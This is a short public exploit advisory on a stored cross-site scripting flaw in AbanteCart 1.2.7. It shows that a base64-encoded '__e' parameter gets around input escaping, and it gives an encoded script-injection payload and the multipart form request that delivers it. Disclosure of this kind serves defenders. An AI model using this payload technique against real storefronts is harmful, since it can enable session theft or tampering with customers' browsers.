AbanteCart 1.2.7 Cross Site Scripting

2016.12.07
Credit: Kacper Szurek
Risk: Low
Local: No
Remote: No
CVE: N/A
CWE: CWE-79

# Exploit Title: AbanteCart 1.2.7 Stored XSS # Date: 06-12-2016 # Software Link: http://www.abantecart.com/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps 1. Description By default all user input is escaped using `htmlspecialchars`. But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned. http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html 2. Proof of Concept For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`. So create new order and set `address_1` value as `__e` using for example Burp: ``` Content-Disposition: form-data; name="__e" YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m ```


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